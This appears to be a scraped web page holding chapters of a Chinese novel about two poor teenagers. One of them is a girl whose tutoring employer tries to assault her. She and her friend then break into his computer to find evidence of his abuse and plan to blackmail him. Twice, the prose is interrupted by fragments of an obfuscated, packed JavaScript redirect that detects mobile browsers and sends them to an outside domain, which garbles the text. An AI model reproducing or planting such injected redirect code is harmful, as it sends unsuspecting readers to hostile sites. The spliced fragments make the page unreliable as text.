并不远,坐大巴不过一个多小时的车程。陈列抵达后,才发现姜堇发来的地址是一处温泉。 他眼看着不少豪放的大爷大妈、披着浴巾露着双腿在门前穿行,心里先就跳了下。 在听到杜珉珉那极具特色、过分欢快的声音时,他下意识往旁边暗处一闪。 果然是姜堇一行走了出来。 姜堇在跟杜珉珉说:“你们先走,我去买点东西就来。” 杜珉珉挽着姜堇手臂:“我陪你呀。” “不用,现在时间太晚了,你们等着我有压力。”姜堇笑道。 杜珉珉以为她要买什么女生用品,便点头:“好吧,好在酒店也不远,你注意安全喔。” 姜堇挥手送他们远去,转回头来,对着陈列的藏身之处。 原来她早已看见他了。 陈列从暗处走出来。 姜堇笑问:“躲什么?” 陈列挑一挑眉:“你不怕他们看到?” 姜堇的语气有时像在对陈列倾诉,又像是在自言自语:“你说有没有那么一天,我们可以不用躲躲藏藏的?” 也许姜堇心里的答案,是他们都挣脱了泥沼的那一天。 陈列心里却想:会有那样的一天吗?这是不是一个过分乐观的想法? 他的目光朝姜堇投射过去。 姜堇并没有穿泳衣,陈列略略地吐出一口气来。发现自己在吐气时又立刻屏住——他为什么在吐气?是松了一口气,还是……心里有隐隐的失落? 姜堇穿一件白色长袖T恤,外罩一件看不出品牌的宽大灰毛衣,配一条阔腿牛仔裤。头发没洗,但因刚刚泡温泉洇湿了,披散着垂在胸前,T恤跟着染湿了一片。 她指指温泉侧门边的台阶,自己先坐过去。 陈列跟着走过去坐下。 这里掩在灌木丛边,身后是一片尚不青翠的竹林,一盏路灯并不光亮,没什么人走过来,因而感到已有小虫萦绕。 陈列其实挺紧张的。 姜堇的书包就放在她脚边。他生怕姜堇从书包里掏出一只蛋糕,又或是什么礼物,大张旗鼓跟他说生日快乐。 所以当姜堇真勾腰拉开书包时,他几乎要出声制止了。 却见姜堇从书包里掏出一罐啤酒来。 笑着问他:“要买么?” 陈列低哂一声:“跑这里卖酒来了?”又问:“你卖多少?” 姜堇晃晃啤酒罐:“十块。” 陈列远远睨一眼超市的灯牌:“你多少钱买的?” 姜堇老实说:“六块。” 陈列又哂一声:“你倒会做生意。” 他从口袋里摸出钱来,抽出一张十块递给姜堇。他直接从拳馆换了衣服过来的,黑T外罩一件黑色棒球外套,配黑裤。他从不穿白,难得洗。 姜堇接过那钱,把手里的啤酒递给他。 陈列拉开拉环喝了口,仰头拉出流畅的颈线。姜堇忽然发现,他喉结边也有颗小小墨色的痣。 姜堇问:“喝酒快乐么?” “什么?”陈列没明白:“也就那样。” 他从未真的沉迷烟酒,只是一种不堪重负的发泄。 姜堇点点头,把手里刚从他这里收的十块钱递给他。 他不明就里地下意识伸手接过。 姜堇从书包里掏出自己的钱夹:“看来十块钱买不到你的快乐。那二十呢?” 她抽出自己的一张十块递给陈列。 陈列皱着眉。 “那三十呢?”她又从钱夹里抽出一张十块递给陈列。 就这样四十、五十、六十,她一张张抽出十块钱来递给陈列,脸上的神情带着某种坚持某种倔,好似买不到陈列的快乐她就不会停手一样。 当她递到第七张十块时,陈列终于没绷住被她行为逗得笑了声:“够了。” 姜堇偏了一下头:“所以七十块钱能够买到你的快乐?” 陈列怕她再给,遂点头:“对。” 姜堇跟着笑了笑,收起钱夹放回书包里,书包丢回自己脚边,仰头望着穹顶的星空:“我现在也只有这些了。我们想要的太多了,而拥有的太少了。” “如果我有足够多的话,”姜堇说:“我就不会送你这些。” 陈列不禁问了句:“那你送什么?” “全世界。”姜堇白皙的掌根撑在身后的台阶上,对着星空仰头:“十八岁了,陈列,成年了。为什么我们这样的人,成年后就不配拥有全世界呢?” 陈列和她一同仰头望着星空。 在陈列更小的时候,大约五六岁,他总觉得自己长大后会成为科学家、成为航海家、甚至成为国王,也许那是每一个男孩心中狂妄的梦想,以为自己会拥有全世界。 可后来他遭遇的一切,让他知道自己绝不可能了,他只会成为一只在灰尘里打滚、想方设法把自己藏起来的臭虫。 可现下的一秒,当他一身黑衣、真正站在十八岁的当口—— 他在心里问自己:为什么你不能拥有全世界呢,陈列? 31. 不一样 姜堇回到房间的时候,杜珉珉正靠在床头刷手机。 一见姜堇便弹了起来:“你去哪里了呀?再不回来我就要给你打电话了!” 她拍拍自己床畔,姜堇走过去坐下,摸一摸她的头:“没去哪里。” “真的?” 姜堇笑问:“你这么看着我做什么?” 杜珉珉又看她半晌:“也没什么。” 杜珉珉总觉得今晚的姜堇有些不一样。可要她具体说的话,她又说不出到底哪里不一样。 陈列独自坐上了返程的大巴。 两地相隔不远,深夜仍有班次,只是人已不多。陈列坐在后排靠窗的位置,头靠着车窗,将睡未睡。 对面车道一辆大巴开过来,车灯一晃,把路边的荒野和路牌照得一瞬通明。 陈列回到船舱,枕着手臂躺在木板上,单手握着手机举在眼前,打字发出一条信息:[我是陈列。] 手机滋滋一震,对方回得飞快:[列哥?真是你吗?] [这么长时间不联系,你小子跑哪去了!] - 又一个周末,陈列走进小超市买烟的时候,姜堇没像往常一样伏在玻璃柜台上写卷子。 她正背着身,伸手去够头顶柜台的什么东西。 陈列索性绕进柜台,站到她身后,才开口问:“要拿什么?” 姜堇的动作一滞。 陈列与她站得近,年轻男性荷尔蒙的味道罩在她头顶,带一点淡淡的烟草味。 姜堇说:“拿利群的烟,柜台里没了要补货。” 她个子在女生里算高,陈列仍是比她高出一个多头。陈列伸手,绕过她去拿她头顶的那一条烟,手臂圈拢过来的姿势像半个拥抱。 不过一刹,陈列的手臂便已垂落回去,把手里的烟递她:“给你。” 姜堇接过烟,往柜台里补货时瞥陈列一眼。 陈列:“看我干嘛?” “没什么。”姜堇摇摇头,顺手拿了包陈列要买的红旗渠放到柜台上。 她只是觉得,在陈列十八岁生日以后,陈列有那么些不一样了。 从前的陈列颓丧进泥土里,对她也大多是回避。而现在的陈列,怎么说…… 他的某些举动,会让人觉得带一丝丝主动? 陈列已拿了烟走出超市去。 姜堇去给刘子淼当家教的那天,天气很好,粉紫色的暮霭让人回想起她和陈列在破船甲板上吃冰淇淋的那一天。 姜堇觉得很舒服,捋了捋自己的马尾。 她是真喜欢这种一切都充满希望的感觉。 刘子淼的妈妈真如他所说的一般,一出门便玩嗨了,估计不出两个月是不会回家的。 这天姜堇进门换鞋时,仍是刘邺涵迎接她:“小老师,你好。” 姜堇点一点头。 这段时间刘子淼尚算配合,课上得算顺利。只是今天姜堇一讲完,他匆忙跳起来收拾自己的包,往肩上一抡便冲出房间,嘴里嚷着:“爸我先走了啊!” 姜堇跟着走出房间,刘邺涵笑着同她解释:“跟同学约了去看球赛,我跟他说好好学习就准他去。” 姜堇点头表示知道了,背着书包打算告辞。 刘邺涵叫住她:“给他洗的水果又没吃。小老师,不如你帮忙解决掉。” 从内心来说,姜堇是个十分戒备的人。 下意识便拒绝:“不了,我该走了。” “那好。”刘邺涵向她走来,预备送她出去。 姜堇:“不用送,我自己走就好。” 刘邺涵身高腿长,姜堇走到防盗门边的时候,他已三两步跨到姜堇身边,伸出的手臂擦着姜堇胳膊,提前搭在了防盗门锁上。 姜堇垂眸看一眼,耳中等着防盗门打开“咔哒”那一声。 她的确等来了“咔哒”的一声。 却是防盗门被反锁的一声。 在她还未来得及反应的时候,刘邺涵拉着她手臂将她怼到了墙上,另一手抬起捂住她的嘴,衬衫袖口的男式香水味传来。 刘邺涵说:“其实你缺钱,我能看出来。” “我有钱。” 也许她的伪装能瞒过同龄人,却瞒不过一个生意场上的、成熟的、精明的男人。 那一刻姜堇的反应是想笑。 她甚至在心中冷静地计算了下:一个月出头。 她自以为有素质的、脱离了泥沼的男人,比那些伸向她的恶臭的、肥腻的手,也不过多伪装了一个月出头而已。 她在刘邺涵的手掌之上,露出一双冷静而凛冽的眼。其实她真的很想笑,发出那夜在警局路灯下咭咭苍凉的笑声,但她嘴被刘邺涵死死捂着,发不出声音。 “你那是什么眼神?”刘邺涵凑近她,鼻息打在她颈侧:“你们年轻姑娘喜欢这么玩,是不是?显得自己很难搞,给游戏增加难度。” 姜堇没有闭眼。 她似灵魂从□□抽离出来在俯瞰这一切。她冷静地睁着眼看着自己被甩落脚边的书包,去拿藏在里面的小刀已不可能了。 她视线往左边偏,看到刘子淼妈妈放在玄关的一双高跟鞋,一只倒下,一只立着,因久无人穿而浅浅蒙尘。 姜堇用尽全身气力推了刘邺涵一把,电光火石间蹲下拾起一只高跟鞋,用鞋跟砸在刘邺涵的后脑上,然后扭开防盗门的锁,拼命跑了出去。 她不等电梯,由安全楼梯一路狂奔下楼。 直至出了单元门,透亮的月光洒落她身上。小区里有渐次的行人,有人推着婴儿车,有人在遛狗。 姜堇的心脏在胸腔里狂跳着,渐渐由跑变成走着,把拎在手里的书包背到肩上。 她知道刘邺涵不会再追出来。 直到上了回河畔的公交车,她掏出耳机塞进耳,打开一段英语课文,坐在座位上阖上眼。 心里念经一样跟着诵念那串英语,让自己不要回想刚才的一幕。 等从公交下来,她的呼吸已完全平复了。 她没回自己的船,登上陈列那条船的甲板,蹲下身抱住自己,就那样蹲了一会儿后,她把一只手拿到自己眼前。 真荒唐。 现在遇到这样的事,她连手都不会抖了。 - 陈列下晚自习回来的时候,看到自己那条船的甲板上蹲着个人。 他一眼认出那是姜堇,跃上船向她走去:“你怎么了?” 他揣测:“痛经?” 算了算日子却不对。 姜堇没站起来,只是仰起面孔来看他:“陈列。” “嗯?”也许连陈列自己都没注意到,他的语气稍放柔了些。 姜堇微挑了挑唇,伸开一只手臂冲陈列招手。 陈列不明所以地在她面前蹲下。 “说话。” “嗯?”陈列不懂她是什么意思。 “随便说点什么都好。”姜堇道:“跟我说话。” 陈列又是一怔,垂眸去瞧她浅棕色的瞳仁,初看觉得似小鹿,清浅的,真深深看进去才发觉,像一汪反射阳光的潭,浅得似乎淹不过脚背,又觉得可以深得没有尽头。 陈列挠了一下头:“叶炳崐今天中午吃了土豆炒肉。” 姜堇笑了。可陈列觉得她只是唇角挑起来、眼尾弯下去,眼神并没有笑。 姜堇说:“这样吧,你不如背历史书。” 陈列瞧她一眼,当真背了起来。 老实说,高中历史他是到最近才熟悉起来。他背西周出现敬天保民的民本观念,背秦汉时期丝绸之路以陆路为主,背明代开创性地发明了“黄册”与“鱼鳞册”制度。 他不是每个知识点都背得熟,遇到卡壳的就跳过去,继续去背下一个。 姜堇就那样看着他,起先带着嘴角在笑、眼睛不笑的表情,后来嘴角垂落下去,头枕在手臂上、似小动物一样看着陈列。 于姜堇而言,那些向她靠近的男人们气息太难闻了,似鱼腥,令她胃里一阵翻江倒海。 陈列不一样。 陈列嘴里有淡淡烟草味道,可是不脏,反而很干净。 她需要听陈列说话,说什么都好,让她闻见陈列的吐息,去掩盖掉她脑中令人作呕的味道。 陈列被她这样看着,心中渐渐有什么东西在酸软、在坍塌、在粉碎。 他不背书了,伸手在姜堇头上轻轻碰了下:“姜堇。” 姜堇仍那样枕在手臂上看着他。 “阿堇。”他问:“你有什么事都会跟我说吗?” 姜堇抬起一只手来,握住他的手,手指一根根嵌进他的指缝里。 之后陈列无数次回想起这一幕,生活到底把他的神经磨得太糙了,不然他应该会发现,姜堇的手指凉得过分,不是这般春夜里应有的温度。 那么他当时,应该上前拥抱住蜷成一团的姜堇。 跟她说:“有我在。”哪怕他只有十八岁,哪怕他并不能拥有全世界。 - 下一周,姜堇摁响刘家门铃时,刘邺涵站在门内看着她,脸上的神情不是不惊异。 姜堇平静地回看过去。 刘子淼在他爸身后探出头来:“姜老师,我爸不是说你不教了吗?说你自己要高考了……” 姜堇镇定地换鞋,抬头冲刘子淼浅浅一笑:“没有,你爸应该理解错了。” 她跟刘子淼回房间上课,刘子淼悄悄跟她说:“我妈就该出去玩、治一治我爸,我觉得我爸想我妈了,他都开始神思恍惚了。” 姜堇淡淡地:“嗯?” “他后脑勺撞我们家橱柜上了,绷带都缠了好几天。”刘子淼晃着椅子笑道:“姜老师,你说是不是?” 姜堇笑一下,并不说话。 上完课刘子淼又同上周一样,抡起书包便开溜。 一时间,屋子里只剩下姜堇和刘邺涵两人。客厅里开昏黄的夜灯模式,阳光上开着窗,风灌着白色的纱帘鼓动,光线似幽灵投射过来。 刘邺涵坐在沙发上,逆光,脸陷进深重的阴影里。面前摆着刘子淼没吃的那盘水果,他拈起一颗青提在指间把玩,果皮和指腹摩擦发出令人悚然的声音。 他的声音带点笑意,却也同样令人悚然:“想不到你还敢来?” 姜堇坦然地反问:“我为什么不敢?错的人不是我,你就不怕我告诉你家人么?” 这下子刘邺涵真笑了:“你当我没查过你的底?一个在拳馆卖酒的小娘们,难怪那么野拿高跟鞋砸我的头。” 姜堇看着她,攥着书包肩带的手指渐渐蜷起来。 “你跟人出台都不知多少次了吧?跟我这里装什么?你这种货色就算去告诉我老婆,你觉得她信你还是信我?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504328|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他带着讳莫如深的笑意:“你主动来了也好,就算你不来,我也能找到你。下周吧,下周你过来的时候,最好把自己洗干净一点。” “至于今天,”他笑道:“你可以走了。” 那般气定神闲的神情,让姜堇想起拿浮标戏弄游鱼的钓者。 好像心中笃定,鱼早已是他的池中之物。 姜堇不置一词地转身离去。 - 周日晚上的拳馆,有小女孩溜进来兜售巧克力,用帆布带挂一张打横的木板在胸前,上面像有些人卖烟那样、摆满各种巧克力。 陈列垂眸瞟一眼。 但凡稍有眼力见儿的人,也知那是假冒伪劣的三无产品。包装印刷得粗制滥造不说,英文拼得也不成章法,“chocolate”写成“chacalate”。 小女孩八九岁年纪,瘦得惊人,因为显得一双眼格外乌亮且大得过分。 很快被老板娘发现,挥手赶她走:“去去,我们这里不让外面的人进来卖东西。” 陈列今晚比赛场次排得晚,回到更衣室的时候,已没有其他拳手在那里了。 唯独姜堇倚在深处的镜框边,正吃一块巧克力。 她就连吃巧克力也与其他女孩不同。 不是一点点吮抿,而是大口咀嚼,好似不怕胖,那么多能量也填不满她空荡荡的体内,化开的一点深棕色黏在她唇角,她用拇指刮去,又放入唇间吮吸。 一身红裙火焰般在她雪肌上燃烧,胸口滚一圈花边,露出胸前的一线。她侧靠着镜框,长发凌乱地散落下来,一块巧克力而已,竟被她吃出凄艳颓靡之姿。 让人很想对她说:开得慢一点、开得收敛一点,不要那么快盛放而过早凋零。 陈列背过身去,摸了件黑T往身上套:“也不怕蛀牙。” 她笑出丁点的孩子气:“不怕啊。” 陈列拉开衣柜的门挡住下半身,才换了长裤,随手扯了条毛巾揉一把头上的汗,往她身边走去:“躲在这里偷什么懒?” “因为累啊。”她双眸含笑,是开玩笑的语气。 只是她不自觉地轻轻叹了一口,又让人觉得这样的累是从她身体最深处发出来的。 她那样全力地奔跑、全力地吃、全力地生活,也会有累的时候。 陈列看着她,却觉得自己就是这样的人,说不出什么煽情的话,一腔情绪酿在胸口,话一出口却变成了:“没想到你会买那小姑娘的巧克力。” 姜堇笑了:“你觉得我是坏人是吧?” 陈列缄默不语,觉得自己在往枪口上撞。 想不到姜堇笑着点头:“是啊我是坏人。只是那小姑娘跟我小时候太像了,八九岁的时候跟着继父,饭都吃不饱,瘦得伶仃一把。不过我那时没她聪明,想不到能卖巧克力赚钱。” 陈列张了张嘴,未待他找出什么合适的话,姜堇一偏头问他:“那你呢?” “我什么?” “你是好人,”姜堇偏着头带着笑意:“还是跟我一样的坏人?” 她抬手理了把自己的长发,走到陈列面前来,掰一块手里的巧克力喂到陈列嘴边:“要吃吗?三无产品……” 她说着眯了眯眼:“或许有毒。” 她离得那样近,肌肤纹理间的香气钻透劣质的香水味传出来。陈列喉结轻一滚,不自觉垂眸去看她脚边的镜子。 镜中映出她纤细的脚踝,正因喂给她巧克力而微微踮脚。 陈列一偏头,咬走了她手中的那块巧克力。动作迅猛而不拖泥带水,像出击的豹。 姜堇的唇角挑起来:“既然是跟我一样的人,那跟我去个地方。” 两人出了拳馆,走到公交站牌边等车。 陈列双手插兜沉默地站着。他好像从没开口问过姜堇要带他去哪,说不清是他性格使然,还是对姜堇有种莫名的信赖。 公交车摇摇晃晃地开了过来。 车上人不多,姜堇捡了个后排靠窗的座位坐下。现在陈列已会和她并排了,手抄兜沉默坐在她身旁,腿太长,膝盖曲着,伸到座椅以外去。 姜堇把车窗拉开一隙。春夜的风灌进来,连同一起灌入的还有路灯、遥远而不属于他们的霓虹、和渐渐起势的虫鸣。 姜堇的手稍伸出车窗去,纤细的手指摆荡,似要鞠一捧春夜的风。 她的长发飞舞。陈列这样坐着,难得觉得自由。他抿唇望着前方的路灯,和公交车的射灯碰在一起,碎金似的铺了满地。 这样的夜,这样的路,长得都似没有尽头。 然而公交车终是摇摇晃晃地到了站,姜堇轻声说:“下车。” - 陈列跟着姜堇往前走,渐渐发现这是他来过的小区—— 他舅舅在外头安置的一处家,便在这小区。 他看姜堇一眼,姜堇很平静地刷卡进入,甚至不需在门岗处登记。 陈列想起,姜堇做家教也是在这小区。 到这时他开口问:“来这里干嘛?” 姜堇不答,领着他往前走。上了电梯,姜堇轻车熟路来到一户人家门前,滴滴在密码锁上摁一串数字,“咔哒”一声,门自动打开一条缝隙。 里面黑沉沉的,像要吞噬什么的某一种黑洞。 “姜堇。”陈列又问了一遍:“这是哪里?来这里干嘛?” 32. 从这个春夜开始 姜堇不答,自己走进去。 陈列望着她背影,微一抿唇,终是跟着她进去了。发现她在玄关处穿鞋套,没开灯,借着手机光亮递给陈列一双:“穿上。” 两人走进屋,黑暗带来本来的心跳,窗帘掩蔽,外面的灯火显得鬼火重重。 姜堇推门进了其中一个房间,轻声叫陈列:“进来。” 陈列仍是只能借着她手机的光,扫视一圈,发现那是一间书房。 做到墙顶的巨幅书柜,中央摆一张不知什么木料、因打磨光滑而显出奢贵的欧式书桌。 上面摆着台电脑。 姜堇坐到书桌前,点按开机,屏幕荧荧的蓝光投射到她脸上。 她又轻声叫陈列:“过来。” 陈列站到她身后,看见电脑的开机界面出现密码输入栏,电脑主用户名称为“AlanLau”。 应该是个男人。 陈列问:“这是谁的电脑?” “刘邺涵。”姜堇站起来,轻推着陈列的肩让他在电脑前坐下:“我当家教这家的男主人。想轻薄我的男人。” - 陈列脑子里嗡的一声,只觉一股血气直冲了上来。他皱眉刚要起身回头,姜堇在他身后摁着他的肩让他坐回去。 “陈列。”她纤细的手始终搭在他肩上,似贴近他耳畔呓语:“我知道你可以打他一顿,然后呢?就像在警局那一次,他们就是看我这样的人,我们这样的人。打他一顿,就够了吗?” 她呓语般的语调说到最后几乎是气音,气息拂在人耳畔,让人分不清是温是凉,也似分不清是梦境还是现实。 姜堇轻轻的气音像诱惑水手纵身跃入海面的人鱼:“我知道你有办法进这电脑。” “进去做什么?” 姜堇俯在陈列耳畔:“我怀疑他是惯犯。” “报警。” “报警?”姜堇笑了:“我有证据么?就算我有,他也可以让我变成没有。” 她向着窗外偏了一下头,下巴几乎碰到陈列的耳廓:“陈列,你都吃了我的巧克力了。” “我们不只是同类。”她的语音近似于蛊惑:“从这个春夜开始,我们是共犯。” - 陈列那一瞬脑子里想了很多。 最终他怀着一种难以描述的心情,甚至带某一种久违的炫技,黑进了那台电脑。 姜堇猜对了。 这人是惯犯。 电脑里藏着一个女孩们的名录,在那个隐藏文件夹里,甚至藏着若干露骨的照片。 不难想象一个个深夜,他背着妻子,不开灯坐在这间独属于他的书房里,金丝边眼镜反射着电脑的蓝光,目光幽深地重温着那些照片。 姜堇戴上一次性手套,迅速拿U盘拷贝了一份。又拿张消毒湿巾抹去所有她和陈列碰过的痕迹。 然后叫陈列:“走吧。” - 两人走出小区,陈列一个人闷头在前面快步走着,姜堇几乎追不上他,在后面叫他:“喂。” 陈列不停步。 “陈列。” 陈列猛一下回过头来,姜堇来不及刹车险些撞他身上。 他目光幽邃地望着姜堇,姜堇倒是从容:“你在生什么气?” 陈列屏了口气在胸口,先是问:“你怎么知道他家今晚没人?” “他儿子告诉我的。” “你怎么知道他家密码?” “我一直都知道。”姜堇答:“刘子淼妈妈告诉我的,怕她有时在做家务听不见给我开门。” “你倒是有备而来,还戴了一次性手套。”陈列终是禁不住冷笑一声:“楼道里的监控怎么办?” “坏了。”姜堇镇定道:“早就坏了。” “那全小区的监控呢?都坏了?” 姜堇望着他:“你舅舅不是住这里么?你能跟踪他来第一次,就能跟踪他来第二次。” “好,好得很。”陈列咬着后牙根冷笑点头:“你都想得很齐备了。你把这些拷下来做什么?报警?” “报警不一定有用,他能请很好的律师。”姜堇平静地反问:“我还能干嘛?威胁他。” “威胁他?” “我要他,给我十九万五千七。” 那是一个过分具体的数字,以至于陈列怔愣了一瞬。 他拇指压着食指的骨节摩挲,唇紧抿着,慢慢反应过来——那是姜堇出国留学的费用。 第一年的学费和生活费,她应该是细细计算过的。 姜堇观察他神情:“你在想什么?” 陈列看着她,极为墨黑的瞳色,一向平沉如深湖,这时却能看出明显的凄凉、审视甚至一丝同情。 姜堇掉头就走。 陈列下意识跨上前一步拉她:“你去哪?” 姜堇甩开他手:“我知道你是怎么想我的!” 她意识到自己声音分外尖厉,深吸一口气,用平静语气又说一遍:“我知道你是怎么想我的。” 陈列静静站在原地,姜堇转身离开,他再没追上来了。 - 姜堇在不知名的街道上埋头走着,手插在外套口袋里,紧紧攥着里面的U盘。 直到一阵风吹着紫藤的花瓣飘落,挂了小小一瓣在她睫毛上,她伸手一拂,恍然抬头,才发现自己不知走到哪里来了。 她掏出手机搜索了下,又走过两条街去公交车站。 深夜临近收班的公交空无一人,她登上去,司机困顿地打着呵欠,问她:“小妹,你去哪啊?” 姜堇笑了笑:“都行。” “都行是什么意思?” 姜堇不再答话,往后排走去,在窗边坐下。 老式的公交车,车窗并不灵活,她费了些力才把车窗拨开,夜风灌进来的同时,她把指尖探出去,望着街道上流光溢彩的街灯和霓虹。 “都行”的意思是,哪里都可以去,也哪里都可以不去。 好像并没有一个地方真正接纳她。 她知道陈列刚刚看向她的眼神是什么意思——有那么一瞬间,陈列怀疑她在“钓鱼”。 陈列怀疑她找了这样一户人家当家教,目标瞄准刘邺涵这样一个惯犯,花时间和精力引他上钩,再处心积虑去威胁他,拿到出国第一年所需的那笔巨款。 姜堇笑了,纤白的手指在夜风中轻轻摆荡着。 人真自大。 以为这样就能握住那些流光溢彩,殊不知它们早已碎成金粉在指间流走。 捞了一路,也是两手空荡荡。 姜堇一路坐到终点站才下车。 在停满空荡荡公交的车站门口,她过分奢侈地打了辆车,往医院而去。她太累了,靠着车窗便沉沉睡着了,睁眼时有一瞬的茫然,看着窗外昏黄的灯,仿佛回到五六岁的小时候,继父打人,白柳絮带着她跑出来,牵着她的手在街上漫无目的地走。 那时街上就竖着这样一盏盏昏黄的灯,小小姜堇总是在心里默默地数她们走过了几盏路灯。 从一数到十,又倒回去从一开始数。数着数着,天就亮了。 姜堇下车后走进医院。病房陪护有规则,必须提前申请,像她今夜这样临时起意而来、已过了门禁时间,是不被允许进入的。 她坐到花园一张长椅上,抱着自己膝盖,望着远处的路灯。 微微翕动唇瓣:“一,二,三……” 也许刚刚在出租车上睡的那一觉太沉了,她现在一点困意都没有。 就这样坐到六点,医院开始有早起的病员和家属走动。姜堇站起来活动了下发僵的肩,去医院食堂打了早饭,小笼包和小米粥,往病房走去。 白柳絮永远是那副情态,双目无神地望着窗外的树。 走得近了,才听到她嘴里在咿咿呀呀地哼唱:“袅晴丝吹来闲庭院,摇漾春如线……” 姜堇轻声问她:“你想先吃什么,包子还是小米粥?” 白柳絮扭头看她一眼,甚至神情都还是呆怔怔地没变换,却已一掌抽到姜堇脸上。 姜堇被打懵了。 这段时间她大多和陈列同来,在白柳絮眼里变作“陈列女朋友”的身份,白柳絮不再对她充满敌意,有时甚至好奇地同她说几句话。这时,白柳絮指着她鼻子尖声怒骂:“你这只会勾引男人的狐媚子……” 姜堇甚至没意识到自己手里端的小米粥被打翻了,直到听见米汤“吧嗒、吧嗒”打落在地的声音,她低头去看。 一脸平静地抽了好些纸巾蹲下去,静静把地板抹干净。 然后把小笼包放到床头柜上,轻而柔和地对白柳絮说:“护士马上就过来了,让护士喂给你吃。” 微低着头走出病房,登上回河畔的公交车。 姜堇向自己的旧船走过去时,发现陈列抱着双臂倚靠着船,背对着她的方向。 听见她的脚步,陈列才回头,深蹙着眉,脸上表情因不耐而显得有些凶,眼圈青黑。 他一夜没睡。 姜堇沉静地向他走过去,他问:“你去了哪里?” 姜堇不说话。 陈列堵到她面前,刚要再问,一瞬间看到她白皙脸上的指痕,眉蹙得更深。在他又一次开口前,姜堇主动说:“我去了医院。” “或许你一直是这么看我的吧,因为我有一个这样的母亲。她心里永远在自我谴责,把人生浪费在勾引男人。” 她不再理会陈列,跳上甲板。 陈列一手扶着甲板,仰头去看她:“你知不知道我为什么背对着你回来的方向?” 姜堇默默低头换拖鞋。 陈列:“因为我到处找你找不到,医院我也去过,你根本不在。我回到这里来等,如果一直看着你回来的方向,随便什么鬼火一闪,我都觉得是你回来了,人都快神经了。” 姜堇睫毛很轻的翕了下。 陈列也不再说什么了,转身离去,如他一贯表现出的淡漠和不耐烦。姜堇回到船舱内稍微洗漱了下,换上校服,正要用遮瑕膏挡去脸上的指印。 甲板上“咚”的一声。 姜堇拉开舱门,只看到陈列一个背影。 甲板上,有他刚刚买过来的药膏。 姜堇微一抿唇,伸手把那药膏拿进去。对着镜子涂抹,药膏触在红肿的皮肤上凉丝丝的,她抿着唇,面无表情地看着镜中的自己。 这药膏她当然要用了。陈列既然买了,她为什么不用? 她不从来都是这样一个现实的人么?利用一切可利用的资源,功利的,冷漠的,目标明确的。 她为什么要管陈列怎么想她、怎么看她? 赌气?那就更不必要了。 姜堇等药膏在脸上稍晾干了一会儿,抹上遮瑕膏出门。 学校里的生活一如既往,杜珉珉叽叽喳喳,李黎虎视眈眈,当英语老师老师点她起来领读一段课文时,她用标准的英式发音念:“AnnelivedinAmsterdamintheNetherlandsduringWorldWarⅡ……” 窗外鸟声啁啾,阳光煦然铺洒。 姜堇一瞬间心里生出某种荒诞的感觉,低头看了杜珉珉一眼。 “?”杜珉珉以气声问她:“你还有单词不会读啊?不会吧?” 姜堇只是觉得,为什么生活看起来总是这样安顺宁和? 无论多么的暗潮汹涌,为什么它表面看上去甚至什么都没改变? 陈列在等了姜堇一夜并送去一管药膏后,两三天过去,两人之间再没说过话。 下楼去做课间操时在楼梯上遇到,叶炳崐勾着陈列的肩大放厥词,姜堇温和笑着同杜珉珉轻声细语地聊天。 两人混在各自的班级里,看上去没有任何交集。 这天课间,杜珉珉的表情如面对满满一片瓜田的猹:“他俩吵架了啊?” 前桌女生点着头道:“是的呀,小情侣也要闹别扭的嘛。” 学校里明文规定不许早恋,但架不住有人“魔高一丈”。 杜珉珉扭头就跟姜堇八卦:“邹鸣和陈潇潇三天都没跟对方讲过话了!但要我说,吵得越凶,说明感情越深嘛!” 说着又拉姜堇:“糟了我突然好想上厕所,是不是快打上课铃了啊?你赶紧陪我去一趟。” 姜堇被杜珉珉拉到走廊里时,陈列正站在十一班门口。 他的站姿永远那样,单手插兜,后颈一点点打弯,整体姿势却显得挺拔,望着走廊檐角外的天。一片喧杂吵闹的男生间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本就是互相利用着结伴走一段的关系。生气?太严重也太走心了。 姜堇万万想不到,陈列会说:“可我生气。” 她略惊诧地看了陈列一眼。 陈列终于转过头来看她:“那人渣欺负你时,为什么不告诉我?” 姜堇怔了一瞬。 “欺负”,这个词听起来太陌生了。她从不觉得自己在被欺负,大概有人保护的人,才会觉得自己是在被欺负。 她平静地反问:“告诉你,又怎么样呢?” 陈列勾了下唇:“是不能怎么样。” 他早已不是那个五六岁幻想自己能当国王的男孩。 他知道这世界有太多的不可控,自己在其间也有太多的无能为力。姜堇跟他讲刘邺涵的那件事时,他生出一种深重的无力感,如被那些追债的人堵在家里几天几夜不让他睡觉,他睁着一双布满血丝的眼,看黎明天色一点点转变。 他承认姜堇说的,他们这样的人要与刘邺涵那样的人抗衡,其实很不易。刘邺涵有钱、有人脉、有资源,可以请很好的律师。 可是。 陈列伸手握住了姜堇的手。 姜堇的双眼一瞬微微睁圆。 陈列就那样牵着她的手,往远处走去。 臭水河边的城中村,早已安然沉睡。白日里追鸡逗狗打小孩的声音不复,只是一种深沉的寂静。 陈列牵着姜堇的手,在城中村蜿蜒的小路上穿行。 一盏盏昏黄的路灯令姜堇恍然,仿佛回到了白柳絮牵着她的手走过一条条街的那时候。陈列的手和白柳絮的手很不一样,更大、更干燥也更温暖。 可他像白柳絮一样,一直牵着姜堇的手。 姜堇问:“要去哪里?” 陈列并不说话。 姜堇也就不再问了。任凭陈列牵着她走着,她望着一盏盏昏黄的路灯,散出的一圈圈光晕似琥珀又似年轮。 每路过一盏路灯,她便在心里默默地数:“一,二,三……” 直至走到城中村里唯一还开着的一间超市,老板娘打着呵欠,在柜台里嗑瓜子追古偶剧。它还开着的原因,大概因为门口用大大红色胶纸贴着的“成人用品”四个字。 陈列问姜堇:“你要曲奇饼干么?” 姜堇摇摇头:“不要了。我已经长大了。” 陈列点点头,继续牵着姜堇的手走下去。 